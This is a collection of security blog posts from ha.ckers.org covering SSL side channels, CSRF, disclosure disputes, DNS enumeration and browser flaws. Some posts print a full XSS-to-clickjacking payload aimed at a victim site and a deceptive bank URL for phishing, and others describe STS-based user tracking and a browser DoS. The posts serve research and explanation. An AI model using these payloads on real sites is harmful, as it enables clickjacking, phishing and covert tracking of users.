37 posts remaining…

With all the talk about cloud computing I thought it would be interesting to post this article. It turns out you can create a single chassis that contains around 67 terabytes in it for $7,867. That’s pretty incredible, and most interestingly, if you follow the link, you’ll see the cost breakdown compared with other alternatives which it pretty much blows away. It almost doesn’t make any cost sense to outsource your storage to the cloud with those cost savings. It really can be cheaper to bring it in house.

Now there are some down-sides, and they primarily have to do with high availability. There’s a good article explaining some of the potential downsides although id told me, “port multiplier doesn’t matter there, even 2-1 oversubscribed they are fine for doing what they are meant to” so take the criticism with a grain of salt and do your own fact checking. Either way, the cost savings are so dramatic, this could be an evolutionary step and I bet things will get a lot more solid down the road to elevate the issues of availability. So it might be premature to jump into this kind of storage for those massive databases you’re supporting, but given a little time and increased density I bet this technology makes a huge difference in cost down the road.

As a side note, for you people who were around for a while, I did some quick math - it would take just north of 46.5 billion floppies to equal that one 4U box. Also, as a fun fact most smart-cell phones these days are faster than the machine that we started ha.ckers.org on. Amazing how times have changed!

38 more posts left…

I first started thinking about this when I talked to a friend from Vietnam a year or so ago regarding his CISSP. Once upon a time it was nearly impossible to find someone in Vietnam with a CISSP. At first I thought he was making some sort of joke about the usefulness of the certificate, but for some things in Vietnam it’s really a hot commodity. It turns out that the cost of living there makes a CISSP almost totally not worth it. Even though it’s expensive in the United States (where I live) respective to the wages in Vietnam it’s weeks or even a month worth of work. Therefore the rate at which a certificate would be awarded is less, not because of skill, know-how or anything else. It’s purely economics. Slowly that has changed and more people now have it than before in Vietnam, but it’s still not equal as a percentage compared to the USA, for instance, from what I was told.

That got me thinking about other issues that are relatively the same. For instance SSL/TLS certificates. Buying a certificate to allow for transport security is a good idea if you’re worried about man in the middle attacks. Yes, that’s true even despite what I’m going to tell you in my Blackhat presentation where Josh Sokol and I will be discussing 24 different issues of varying severity with plugins and browsers in general. But when you’re in another country where the cost of running your website is a significant investment compared to the United States, suddenly the fees associated with the risks are totally lopsided. So this may be why you might see a lower adoption rate of certificates in certain regions. More importantly there really is no long term reason the security industry can’t create a free certificate authority (over DNSSEC for instance) that provides all the same security or more even without the costs - therefor making it a more equal playing field.

Lastly I started thinking about bug bounties and how they work almost opposite. Unlike security, where the cost is high for playing, hacking can be much more lucrative based on your geo-economic situation. For instance, a $3000 bug bounty for something that takes two weeks to work on equates to a $78k a year job if you can be consistent. In the United States for a skilled researcher that’s barely worth the time. But in a country where the average income is closer to $10k a year, something like this might highly incentivize researchers to focus on attack verses defense, which few can afford. Anyway, I thought it was an interesting concept that may play out entirely different in reality, but it was a fun thought exercise.

39 more posts left…

Just a quick post as I head into the ramp up to Blackhat where I won’t be writing posts. Jeremiah and I spent a lot of time trying to break the Flash settings manager a few years back but one thing that I never mentioned was the way in which Flash’s settings are very often scoped to the domain rather than the app. Although currently allowing Flash access to camera and microphone isn’t all that common, if it ever did become common using XSS would be a pretty interesting tactic. Once access is allowed and remembered, an XSS included object could theoretically end up with the same privileges.

Clearly XSS is bad in of itself, but once settings are permanently remembered, even on a site that has no other sensitive information on it (a free video-game site for instance) something like this could allow an attacker to do some nasty spying. In general applications should never allow access to camera and microphone permanently by default. Thankfully, I don’t think there are a lot of apps out there that request mic and/or camera access so the attack surface may be small. But if that were to change I’m sure if an attacker were creative they could combine CSS history hacking + hidden iframe + XSS + camera and microphone app to spy on quite a number of people who had selected the “Remember” option.

The nice thing about this attack is if it fails it doesn’t create a modal dialog alerting the user to the fact that they were under attack (one of the many perils of not using modal dialogs). So the moral of the story is even if your app contains no sensitive data, you need to be extremely careful of XSS. Oh, yeah and Flash may want to allow the web sites in question to remove the “Remember” function from their apps in future versions.

40 posts remaining…

Just a quick thought for a Friday afternoon. For a while I did informal questionnaires to friends and family and people in general who aren’t hardcore security people about what they type in when they’re going to their bank. The following are the kinds of answers I’d get:

• “I type in www.bank.com.”
• “I type ‘bank’ and hit ctrl-enter”
• “I type in http://www.bank.com”
• “I type in bank.com and hit enter”

But almost never (twice out of dozens of people) I’d hear someone say, “I type in https://www.bank.com” with the “s”. So let’s just for a second think about all the problems with these. Let’s take “bank.com” as an example.

• User types bank.com, which, depending on the browser is being sent on the wire as they type over HTTP for auto-complete
• The browser corrects the URL to be http://bank.com/ and makes a DNS request for “bank.com”
• The DNS server responds with an IP address
• The user makes a request to bank.com’s IP address over HTTP
• bank.com responds in unencrypted HTTP to the user’s browser and informs them that they should be speaking with www.bank.com, and redirects them there via a 301 or 302 redirect
• User’s browser makes another DNS request for www.bank.com
• DNS server responds with www.bank.com’s IP address
• Browser makes an HTTP connection to www.bank.com
• www.bank.com realizes that the user is connecting via HTTP and uses another redirect to send the user to https://www.bank.com (or often has a link on the page, asking the user to click it to log in which will take the user to HTTPS)
• User’s browser re-connects to port 443 and begins negotiating - and at this point is encrypted (hopefully using strong crypto and there are no other issues…)

There’s a lot of places there than an attacker can get in the middle and mess things up. And sadly, this isn’t even close to everything wrong in real life. So while HTTPS is a good idea, in practice how people tend to get there is pretty flawed. The promise of STS, HTTPS everywhere and some of the settings within NoScript and so on… was to take that out of the user’s hands. Not that these aren’t all good ideas, but there are usability issues, and require that the user be somewhat informed of the issues in most cases - which they don’t tend to be.

41 more posts left until the end…

In regards to the previous post and the impending Blackhat speech with Josh Sokol, I thought I’d spend some time enumerating some of the possibilities for reducing the chatter over SSL/TLS that the browser introduces. There are a few things that an attacker generally doesn’t care about (not always, but generally). They generally don’t care about images, CSS, JavaScript, favicons, and most of the HTTP headers. That is, those parts of the HTML and HTTP request/response are generally less interesting than the content itself or what the user is sending. So there’s a few tricks we can use to force the user’s browser to cache the content prior to intentionally navigating there (call it pre-caching for lack of a better term).

Firstly, there’s a pretty good chance that an attacker can connect to the SSL/TLS encrypted website site in question and see what the HTTP response headers look like. Minus cookies, URL and POST data, an attacker can get a pretty accurate picture of what the HTTP response looks like. The attacker can also identify what sort of key exchange the user will be using with the site in question through a little enumeration. So the amount of data sent on the wire is smaller, and the data that is sent can be isolated to the few unknown components.

Next, an attacker can create an iframe (from a MITM’d HTTP website - the side channel) to the SSL/TLS encrypted site in question to pre-load all the images, JavaScript, CSS, favicons, and so on, that typically muddy the encrypted HTTP data flying in both directions. Lots of times the files in question are inconsequential to the page in question from the attacker’s perspective. But because browsers share sockets for multiple requests, often the chatter for these static objects can make determining what is on the wire much more difficult.

So by forcing the user’s browser to pre-cache the content, an attacker can get down to just the pages they are interested in and a few GET requests that return 304 Not Modified responses. That’s a much smaller footprint for the unrelated data than it would be if it weren’t cached. Now, it may not always be a good idea to pre-cache. Sometimes the content will be hosted on other subdomains or domains, and therefore won’t create the same amount of chatter over the socket, because it isn’t pulling that content from the same IP. Other times it may be useful to detect that a user is on a certain page, because some of the content is a very specific to that page in question and is a known size - alerting the attacker to the fact that the user being monitored is on the page in question.

In this way an attacker is really getting down to the exact parts of the data they are interested in. Obviously the earlier an attacker can do this the better - trying to cache after the fact doesn’t make a lot of sense, although using timing attacks an attacker may be able to tell where the user has been, interestingly enough (Chris Evans did a good writeup on this a while back).

42 posts left until my last…

For those of you who may not have seen it there is a very good paper partially by Microsoft Research and partially by Indiana.edu called Side-Channel Leaks in Web Applications: a Reality Today, a Challenge Tomorrow. Initially it really upset me off that this paper was written, not because it’s not excellent, but because it’s partially what I was going to be speaking about at Blackhat. Alas… they came out with it first, and frankly, I think they did a much better job at slicing and dicing with the math. So once being upset by being beaten to the punch had worn off Josh Sokol and I had to change the presentation that we’ll be doing at Blackhat, and we’ll only be glossing over this as a result. But please check it out, it must have taken quite a while to build up those abuse cases.

Anyway, the reason I originally started thinking about this was because of something from Bruce Schneier I read a decade or so ago (I believe it was in Applied Cryptography). It basically said that in certain crypto systems you could tell certain things about the people involved. For instance, if you had one user who sent an encrypted message to two users who then sent the same message to four users who then sent it to 8 and so on… you might be able to infer a chain of command (or, just as likely - a really funny/crude joke that no one wants their bosses to find out about).

But when you’re talking about HTML, you have a lot of things that sort of act as subordinates in the same way as a chain of command might. For instance, HTML can load JavaScript, CSS, Objects, etc… those can load more JavaScript, Images, Bindings, etc… All of that has a certain behavior in the browser, and in one way or another can be detected. So the trick is how do you detect it? The Indiana paper does a good job of enumerating some of those possibilities, but there are a lot of other tricks an attacker could use as a man in the middle to reduce the noise on the wire. That’s what the presentation is largely about. Anyway, check out the paper!

With Blackhat impending, and given how many individual issues I’ll be discussing, I thought I should start posting them here. That and the fact that I’m quickly approaching my 1000′th post (which, if I have my way will be my last on ha.ckers.org) means that I need to start wrapping up these issues into a neat little bow. I have 43 more, as of this post, so the clock is ticking. During my research for Blackhat I found a few things that were unrelated to the main content, and didn’t make sense to include in the presentation. So let’s start with a little user-initiated DoS that I was toying with. It’s using a bunch of frames and then throwing a recursive heap-spray into it. The heap-spray may or may not be a red-herring, but I got the best results when I used it compared to some of the other tests I ran.

On my system it gave me an odd set of errors. Typically with any type of recursion Firefox will eventually pop up the “A script on this page may be busy or it may have stopped responding.” error. This is no different, except for what script it thinks is misbehaving. The error alternates, but if I leave it running long enough sometimes I get “chrome://noscript/content/Main.js:2149″ sometimes I get “chrome://global/content/bindings/general.xml:0″ sometimes I get “file:///C:/Programe%20Files/Mozilla%20Firefox/components/nsContentPrefService:1012″ and so on… These may point to race conditions, memory overwriting or something equally bad. Perhaps someone with more time can do more with this, but it was kind of fun to play with. Anyway, please save your work before you try this, but here is the demo.

I finally broke down and bought a new bean bag chair. I had one of the older Sumo lounge models and I loved it, but the newer sway couple model is much more conducive to sitting down and doing work or reading a book. So, with an uber-comfy chair as a prerequisite, that is promptly the first thing I did. I’ve been meaning to find the time to sit down and read the ModSecurity Handbook by Ivan Ristic - the primary developer on the project. And is there any surprise? It’s really good.

Ivan has written an O’Reilly book in the past, so his approach to writing is very methodological. For instance, I’m always the skeptic about tools that add latency, and that’s one of the very first things he addresses - alleviating a lot of those questions in my mind, having not played with it much in a few years. He goes through a lot of the attack scenarios, the configuration, tactics and on and on. It’s very thorough. Of course it leaves you with a big question mark at the end - so what’s the future of mod_security really going to be? Hopefully just as bright in the future.

One of the things I particularly liked was that Ivan went through and explained how mod_security was never designed to be a panacea and it was intentionally designed to be a more straight-forward tool, solving things that he knew it could solve, without wasting time developing a tool to be everything to everyone. I like that it wasn’t trying to be something it’s not. It’s really refreshing to hear an author tell you why things were built the way they are, and even more refreshing when you agree with those decisions. It gives you a lot of insights into the development process. Anyway, it was a good book read while sitting on a comfy chair (I recommend both). Sometimes the simplest things in life are worth writing about. If you use mod_security or are looking for a good free solution you should check out Ivan’s book.

With the impending release of Fierce 2.0 I thought I’d spend a minute talking about finding high value targets. I was working with a company in a specific vertical when I realized they use a very large single back end provider (essentially a cloud-based SaaS). But they aren’t the only large company using that SaaS - there are many hundreds of other companies using them as well. But because I’m not in that particular industry and having not worked much in that vertical, I had never even heard of them before. Frankly, I had no idea that they even existed. Now let’s take a typical Fierce DNS enumeration scan; it can find a lot of non-contiguous IP space, sure. But what about when I launch scans against hundreds of companies in that same vertical? Some interesting results start bubbling up.

Because companies tend to point their DNS to those SaaS providers for white labeling, often you’ll see a convergence of a lot of sub-domains all pointing to a single IP address or set of IP addresses. It doesn’t take a rocket scientist to realize that you don’t need to attack the target you’re interested in, you can attack the SaaS provider and take over not just one but all of those companies in that vertical that use that provider. Even though that may not be obvious by just probing the external network, DNS can sometimes help to uncover those sorts of details. This happens a lot more than most people realize, and in my experience those cloud based SaaS providers aren’t any more secure than anyone else. It’s a lot more interesting to compromise hundreds of companies for the price of one.

Those of us who do a lot of work in the security world have come to realize that there is a ton of cross site scripting (XSS) out there. 80% of dynamic sites (or more) suffer from it. But how many sites allow you to do HTML file uploads comparatively? It’s a much smaller amount, and typically requires some sort of login before you’re allowed to do it. Often times it’s protected by login too, so it’s a relatively small amount of people who could be impacted by any sort of HTML file upload. But that is precisely what’s needed to mount a clickjacking attack (usually one or two pages). Either the attacker has to rent space in the cloud with a stolen credit card, or find some parasitic hosting somewhere.

That’s when I got to thinking… how can you use any old generic reflected XSS attack to mount a clickjacking attack? A few hours later I had a prototype that worked. Here’s how the attack would work. Let’s say a parameter like “search” was vulnerable to reflected XSS. An attacker could do something like:

http://example.com/?search=<script>eval(location.hash.slice(1))</script>

This is an old trick that basically says anything that falls into the anchor tag is what the attacker wants to run as the attack. Anchor tags are not sent to the server, they are only seen on the client. So this effectively turns the reflected XSS into a DOM based XSS, which leaves less of a signature on the server as well, incidentally. Then the attacker’s anchor payload would look something like this (this works only in Firefox):

http://example.com/?search=<script>eval(location.hash.slice(1))</script>#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.3;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="http://www.victim.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;

So you have a reflected XSS on example.com that instantiates a DOM based XSS which instantiates a clickjacking attack against victim.com. Obviously you’d need to modify this to actually fit the right coordinates and work in other browsers, but this could easily be used to leverage the attack in situations where an attacker might not be able to otherwise. For instance, if the clickjacking defenses only care about the referrer and the referrer is on the correct domain just a different sub-domain, that could be used to bypass it - and so on. Anyway, I thought some people might think this is interesting. Happy penetration testing!

I had heard various different reports from people who use lighttpd during the initial investigation of slowloris that it was not vulnerable. But now I’m hearing differently. From Iraklis Alexios C. Mathiopoulos:

I just tested it on a fresh/default install of the latest lighttpd with a simple index.html page (no fastcgi this time). Consistent results, 4-5 seconds after I fire slowloris from host A to “attack” server B, server’s B is unresponsive. I’m checking from host C btw in order to minimize the risk of any dos appliances that might be in the way blocking requests. host A, server B, host C are all in different geographical locations.

As soon as I stop slowloris server B becomes responsive again. Interestingly enough top doesn’t show any change in cpu/mem usage during the attack.

Btw the targeted server is running Centos 5.4 64bit on an Intel i7 with 8GB ram.

Anyone have different results to share for lighttpd? About a year has come and gone and I haven’t heard any word from the Apache camp on a fix either. Anyone heard anything about a fix in Apache’s core web server?

I can’t tell you how many times over the last several years I’ve needed an application that can properly parse and help me inspect web server log files. I’ve searched around, asked friends and colleagues and nothing. The best I’ve come up with is a bunch of crappy shell scripts, grep, Splunk, libraries and a few people mentioned that event correlation systems come close to doing what I want. In the end I just end up manually grepping through files, and writing my own custom scripts that I end up having to re-write over and over again, depending on the situation and the log files themselves. Without the time to dedicate to it, and a million other things on my plate I’ve never had the opportunity to sit down and code it up. Here’s the requirements for what I need:

• Must be able to parse log files in different formats. Lots of web server logs don’t look like other web server logs - even from the same web server, depending on how they are formatted and the order that the variables get logged. IIS logs may intentionally add in cookie parameters. Some logs may not use the same delimiters and so on. A generic parser that can deal with any log in any format is what needs to be built. I know companies have built these things before, so it’s possible. Yeah, this bullet alone is a bit of a nightmare.
  
• The system must be able to take two independent and differently formatted logs and combine them. Often times in a forensics case the attacker hit more than one web server in the process of attacking the site. This happens a lot when you’re talking about static content hosted on other sites or a separate single sign on authentication server or whatever. One server might be IIS and the other Apache - so the system would have to be able to combine different lot formats and take into account that some logs may not have the same parameters in them; one might be missing query string information or host name or whatever.
  
• The system must be able to normalize by time. I can’t tell you how many times I’ve found that one of the sites involved in the forensics case isn’t using NTP and the log file is off by some arbitrary amount of time. This is a huge pain when you’re doing this by hand, let me tell you. Anyway, timezones also must be accounted for, where one server is hosted in one timezone and a different log is hosted in another.
  
• Log files are big - they can be many gigs per day, and a forensics case can span a month or more. This is where grep gets a lot less convenient and where a database would be a better choice. So the system should be able to handle just about any size of log file data, up to and including a terabyte.
  
• It should allow for regular expressions and binary logic on any parameter. Sometimes I want to check to see if something is a “POST” followed by a “5xx” error as a response code against any of the logs over N days. Or maybe I want to check for anyone who hit any file and got a different size back than everyone else who hit that same file. Or maybe I want to ignore things in certain directories or with certain file extensions, because I know that contains only static content.
  
• The system should be able to narrow down to a subset of logical culprits. That is, remove any IP addresses that never submitted a “POST” request, or any GET requests with a Query string.
  
• The system should allow for white-lists, to remove things like internal IP addresses, or known robots that weren’t involved but make a lot of suspicious requests (third party scanners and such).
  
• The system should also build a probable culprits list that you can pivot against. If you know N IP addresses are suspicious, you should be able to run commands against just those IP addresses, without re-searching all the non-suspicious IP addresses. That way you can gradually narrow down the list further and further so you are only looking at things that interest you.
  
• The system should be able to maintain a list of suspicious requests that indicate a potential compromise, like “../” and “=http://” and so on, to quickly narrow down a list of culprits, without having to do a lot of manual searching.
  
• The system should decode URL data so that it can be searched easier. This could be really tricky given how many encoding methods there are out there, but even just URL would be a huge time saver.
  
• The software must use the BSD license - so it can be used in any capacity, and modified as necessary. Because GNU just won’t cut it.

So yeah, if anyone is just looking to build something extremely useful to guys like me, and feels like making it open source so anyone else can use it, please do! The forensics community could really use something like this. I sure know I’d use it!

A few years back I wrote a tool to do DNS enumeration. The point of it was that it is incredibly difficult to do an accurate penetration test against a target when you don’t know what to attack. The only way to know that is to find all the machines associated with that domain/customer or whatever. After a weekend or so of coding I came up with a functional, albeit crappy Perl program that did just that. A few people took note, a lot of people called me out for my crappy programming (rightfully) and ultimately it sat nearly stagnant for a few years. That is until I met Jabra.

Jabra (who works for Rapid7) is a bad ass Perl developer, at least compared to yours truly. He completely re-wrote Fierce, taking in my wish-list and a whole new set of features he wanted, like XML support to quickly integrate with nmap and all kinds of other stuff. Hopefully sometime next week we’ll have a released version. In the meantime please go and check out the beta of Fierce 2.0. Feedback is welcome!

Updated: clarified some points of contention.

Early this morning Google’s Tavis Ormandy published a vulnerability in the hcp protocol handler. It allows the attacker to run arbitrary commands as the user. In practice it created a lot of alerts and warnings for me - but the XP install I was using is somewhat locked down. So I’m not sure how practical this attack would be over any other attack that causes an alert, as the article mentions. Later his reports says it works around the alerts (I couldn’t reproduce that, but that was his intention). Either way, though, this is some pretty amazing research. However, there are some odd things about this that really struck me the wrong way.

Google has been the loudest proponent for responsible disclosure in the past. But if you look at the dates in his post, he says he reported it to Microsoft on the 5th of June (a Saturday), who responded the same day. He sent the advisory early in the morning today the 10th of June - meaning Google gave Microsoft less than 5 days to fix it to respond to his demand to have it fixed in 60 days. Even Mozilla backed down from 10 day turn around, and they’re only running a single software suite. How is that possibly reasonable to expect a company like MS to turn around a patch in 4-5 days and then get so upset that then you must go full disclosure? (Incorrectly stated) And it’s not like Tavis was acting on his own - he credits other security researchers inside of Google for their help lcamtuf who works at Google. So apparently it’s okay for Google Google’s employees to go full disclosure, but not for other researchers. The hypocrisy is amazing.

See, here’s the big problem. Either you are all about full disclosure (which is happening less and less these days), you use it only when you know the company won’t react otherwise or has all kinds of other hinky things they do behind your back (the same reason I advocate full disclosure against Google), or you use responsible disclosure. Google says it adheres to responsible disclosure, but at the same time they give Microsoft 5 days to fix their 0day agree to a 60 day patch cycle for exploit code that Google’s researchers themselves created! From Google’s own website:

This process of notifying a vendor before publicly releasing information is an industry standard best practice known as responsible disclosure. Responsible disclosure is important to the ecology of the Internet. It allows companies like Google to better protect our users by fixing vulnerabilities and resolving security concerns before they are brought to the attention of the bad guys. We strongly encourage anyone who is interested in researching and reporting security issues to observe the simple courtesies and protocols of responsible disclosure. Our Security team follows the same procedure when we discover and report security vulnerabilities to other companies.

… except when you don’t. Then Tavis puts a patch up on a domain that, no offense to Tavis, is more sketchy sounding than a lot of malware sites out there (http://lock.cmpxchg8b.com). Do you really expect a billion XP users to download and run that? (Non sequitur) There is evidence that it doesn’t even work in some cases, but it does appear to work against the one PoC Tavis put up in the test I ran. I don’t know, the whole thing just rubbed me the wrong way. But at least now no one has to pretend to do responsible disclosure with Google just because it’s the right thing to do - they don’t use it themselves. Even when MS finds a vuln in Google they do so responsibly. I don’t mean to say anything bad about Tavis, because he’s probably a good guy, with a lot of skill. But let’s stop pretending Google’s team is chivalrous, shall we? Let’s see what Google does when one of their own breaks their stated policies, whether the researcher is working in their own time or not.

This post is a bit out of left field compared to what I normally talk about, but I hope some people get some value out of it. If you don’t recall the BOFH (bastard operator from hell) series, or haven’t been in the industry long enough to happen across it, you should read some of the old stories, if you need a laugh and a several hour long distraction. The basic premise was that the lazy operator would find any and every reason to do the opposite of what people wanted especially if it let him play video games at his desk. Death and destruction of the clueless and their home directories would often ensue.

Enter tin whiskers (lots of pictures). Tin whiskers are a vaguely-understood electromechanical process that is related to the use of completely tin solder as opposed to tin-lead amalgam solder. It is a problem that has been known for a decade or more, but it is becoming more pervasive due to a rise in reliance on electronics. Because of the near outright ban of lead based solders in some places in the world, the completely tin process has led to an increase in faults. Tin whiskers can cause short circuits and even metal vapor arcing which can literally fry electronics.

Some of the issue around education of the issue is around planned obsolescence - the computer industry expects that people will just replace their computers with new ones when new ones become available. A hardware failure is just another kick in the butt to shell out for that new Mac Book Pro you’ve been drooling over. People always want the best and greatest and this is reason enough. But the problem is there is a lot of hardware out there that runs a lot of what we rely on that will stay in place for a decade or more in some cases. If it ain’t broke don’t fix it, right? The problem is that it will break, and it’ll break in unpredictable ways.

Routers, switches, database servers, UPS systems, emergency sensors, orbital satellites, SCADA systems, cars, airplanes, etc… etc… Our jobs, and more critically our lives, literally depend on a lot of physical hardware to function. Unfortunately, a lot of this tech relies on scary build processes that are destined to fail.

So if you are the BOFH and you really want to take the rest of the week off or you really want an excuse to get rid of some piece of hardware that has been a thorn in your side for years now, you now have a new plausible excuse to give management when you throw that machine in the trash - tin whiskers. For the rest of us, perhaps we should be careful to build redundancy into our hardware designs and our computers/networks to lessen the impact of this pervasive design fault. This is just another reason to build in redundancy. And with that, I hope everyone is having a good week!

I don’t think I need to introduce this email, I think it speaks for itself:

Valued Road Runner Business Class Customer,

This email is in regards to the Time Warner (Road Runner) account for the following location

–snip–

The Road Runner Abuse Control Department has received a complaint of network abuse originating from a computer connected to your cable modem. We recognize that most Internet abuse complaints are the result of computers infected with viruses/worms or compromised by a trojan horse( a.k.a. “trojan” for short). Trojans allow malicious third parties to gain access to your system(s) for the purpose of using your Internet connection to intentionally commit the abuse in question. The abuse commonly comes in the form of either unsolicited email ( a.k.a. “spam”) or port scanning (connection attempts to other systems across the Internet for the purpose of finding vulnerable systems to infect or exploit). However, if not addressed in a timely manner, your machine(s) potentially may be used for other more illegal activities

A portion of the complaint we have received is copied below for your review:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|date |id |virusname |ip
|domain |Url|
+—————————————————————————
——————–
|2010-04-14 02:20:04 CEST |514019 |unknown_html_RFI
|71.41.152.29 |ckers.org |http://ha.ckers.org/xss.js

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If your recognize this activity and it was intentionally sent, you may be in violation of our Acceptable Use Policy (AUP) and it’s important that you contact us immediately to discuss. If you do not recognize this, you likely have a compromised or infected system connected to your cable modem and will need to take action to clean and secure all Internet connected-computers as soon as possible. We take these complaints very seriously and further substantiated complaints could, at some point, require us to disable your cable modem in an effort to protect the integrity of our network. We obviously have no desire to interfere with your ability to conduct business and would prefer to not take such action, so please pursue whatever measures are necessary (up to and including the formatting of hard drives and/or assistance from a third party IT professional) to correct the problem with due urgency.

If it would be helpful, Road Runner does offer free anti-virus and firewall software for commercial use. You will need your Road Runner account information to register the software, so you may need to contact your local Time Warner office for assistance. For more information, please visit the following link:

http://www.rr.com/pss

Additionally, we have a suggested course of action on our Website, but please be aware that it is intended for use by residential customers to clean a single computer and may not be feasible for use in a commercial environment. Moreover, some of the suggested software is licensed for personal use only. We cannot accept responsibility for compliance with software licenses, so please be aware of rules and restrictions related to the installation and use of any applications suggested. If interested in this course of action, please visit the following link:

http://www.rrsecurity-abuse .com

If you have a network connected via a router, you may be able to view the router logs, looking for either a large amount of email activity or the port scanning activity specified above. This may indicate which computer is the offending system and thus help you simplify the solution.

The corrective action taken is entirely your responsibility. We are merely making contact to alert you to the problem in an effort to both protect our network and enforce our policies. But we ask that you do take corrective action as soon as possible and contact us to advise, preferably by simply replying to this email. Also feel free to contact us with any questions you have regarding this issue.

Thank You,
Time Warner Cable (Road Runner) Abuse Control, Regional Office
twcsecurity-abuse@texas.rr.com
1-877-588-8508

I didn’t realize 2 lines of completely benign JavaScript that can be included on websites is now considered abusive. I can’t wait until someone ads Google Adsense as unknown_html_RFI. If you know who submitted this, please smack them upside the head for me and then sit them down and help them find a job that doesn’t require a keyboard. kthanksbye.

Did you hear the news? CSRF isn’t a big deal. I just got the memo too! There were a few posts pointing me to an article on the fact that CSRF isn’t that big of a deal. Fear not, I am here to lay the smack down on this foolishness. To be fair, I have no idea who this guy is, and maybe he’s great at other forms of hacking - web applications just don’t happen to be his strong point. Let’s dissect the argument, just to be clear:

Even with some of the best commercial Web vulnerability scanners, it’s very rare that I find cross-site request forgery (CSRF). That doesn’t mean it’s not there. Given the complexity of CSRF, it’s actually pretty difficult to find.

Huh? It’s difficult to find with a scanner so therefore it’s difficult to find period? Noooo… almost every single form on the internet is vulnerable to it unless it’s using a nonce. Just because scanners have a tough time dealing with it doesn’t mean it’s hard for a human to find. If you set down your scanner and do a manual pentest once in a while you’ll find that nearly every site is vulnerable to it in multiple places (.NET with encrypted ViewStates are the only sites that natively don’t have this problem regularly).

The good news is it’s even more difficult to exploit CSRF which essentially takes advantage of the trust a Web application has for a user.

What the?! Difficult to exploit? If writing HTML and/or JavaScript is difficult, sure. However, if you have even the slightest idea of how to create a form and a one liner JavaScript to submit it, or even worse a single image tag in a lot of cases, it’s not difficult. It’s not even mildly challenging. The only hard part is getting the user to click on that page with the payload, but even that should still be kitten play in almost all cases through web-boards, spear phishing and the like. Getting people to click on links is insanely easy. Maybe I’m not getting the difficult part. Also, that is a terrible way to think about CSRF - it’s not always about trust, it’s just about getting another user to commit an action on your behalf. Trust is only involved in some instances of CSRF - there are many many examples that have nothing to do with user credentials.

So, based on what I’m seeing in my work I don’t think CSRF is as big of a deal - or perhaps I should say as top of a priority.

No, not top priority compared to something like SQL injection or command injection or something. But yes, it’s very much a big deal. Last week I did an assessment where one of the CSRF attacks would allow me to create a new admin user in the system. A huge percentage of the fraud on the Internet (TOS fraud, not actual hacking) is related to CSRF abuse (click fraud, affiliate fraud, etc…). We’re talking about hundreds of millions of dollars lost to a single exploit and only in those two variants. Like lots of exploits it totally depends on the problem at hand. Sorry, folks, CSRF is not getting downgraded because a piece of software can’t find the issue for you.

Securosis did a little writeup on how Google’s switching to Chrome as a secure alternative to anything else is rather short-sighted following an interview with Eric Schmidt. I think some people think I’m just speculating when I talk about how browsers tend to make the same mistakes over and over again without learning the lessons of their predecessors. No, that’s not idle speculation. Eric Schmidt said that they want to be held accountable for how much more secure their website and web technologies are. Alright… if you say so, Eric.

Reaching into my grab bag of Chrome issues, let me pull out the oldest lamest one I can just as a proof of concept:

There is a long ago patched bug that was used by phishers many years back that allowed them to create targeted phishing links that could fool the eye. By putting the name of the site in question in the basic authentication field, they could make people think they were clicking on something they weren’t. Mind you, this has been patched for years in Firefox. Chrome? Not so much. The following was tested in Chrome on Vista.

http://www.bankofamerica.com@ha.ckers.org/

The reason why modern “new” browsers aren’t as good for security is precisely because of two reasons 1) they haven’t figured their security model out completely and 2) they don’t go back and read about all the same hard learned lessons of their kin and build in those lessons learned. Basing your entire security model on an unproven browser that JUST had a dozen holes uncovered a few days ago is foolhardy at best. So, yes, Eric - I’m sorry to say, you are building your new security posture on a house of cards, and everyone who uses Google, Chinese dissidents or otherwise, is at the mercy of that decision.

I’m always interested in finding ways to leak privacy information out through browsers. For those who aren’t aware of it, there’s a new technology called “Strict Transport Security” or STS for short that pins a browser into using SSL/TLS for all further connections with the site in question. The goal of the tool is to reduce the risk of tools like SSLStrip that downgrade you to using HTTP instead of HTTPS. However, there was a somewhat bad privacy issue that was created as a result of it:

Imagine a scenario where you have one website that a user is interacting with (say an evil advertising empire intent on tracking people for marketing purposes).

On that SSL/TLS enabled website there are a series of iframes. Each iframe leads to different HTTP (not HTTPS servers). The first iframe (call it iframe00) is the “check” to see if the user has been to the site before. It automatically redirects the user to the HTTPS site via 301 redirect. The fact that the user hit the HTTP site at all means they haven’t been there before which brings us to the first use case:

Use case 1) If the user has not been to the evil website before (which can be found out because the user will hit the HTTP version of frame00 before being redirected to the STS enabled SSL/TLS version of that subdomain), a series of iframes will selectively turn STS on and off on each subdomain. Those subdomains will essentially provide one bit of information. Collectively that maps to a user profile in the database. For instance frame01 = STS, frame02 = HTTP, frame03 = STS, frame04 = STS … could map to binary 1011 = decimal 11 or the 11th user to visit the site. The number of iframes required is based on the total number of users that the site believed it would need to track over it’s lifetime or 33 iframes total (which would enable enough bits for the ~1.7bn internet users).

Use case 2) If the user has been to the site before they will not hit the HTTP site on frame00 (the “check” website) and they instead are immediately sent to the STS site, the evil website can begin to calculate who that user corresponds to. By setting every frame to the HTTP sites (not STS enabled SSL/TLS sites) and seeing which ones instead go to the HTTPS site, the evil site can map those bits back to the corresponding user that the site has seen before.

This is one of those unfortunate examples where it’s a good idea that introduces another security flaw. The fix isn’t great though - as it basically helps reduce the effectiveness of STS in the first place, by making it easier for the user to clean out. The whole point of STS is to pin the browser to a secure connection. So either that’s important to do, or it isn’t. If it isn’t, STS shouldn’t exist. If it is, then it shouldn’t be cleaned. Either way, I don’t think STS is going to provide a lot of value without some more thinking. But for now, it’s a good chance for companies to play with a new way of securing their site from man in the middle attacks. Firefox is planning on implementing this soon as well. Overall, I was pretty happy with how Google handled the bug, and fixed it, along with the dozen or so other bugs that were reported to them during the bug hunting contest. Hopefully, Google will continue increase their diligence around privacy issues in their products in the future.

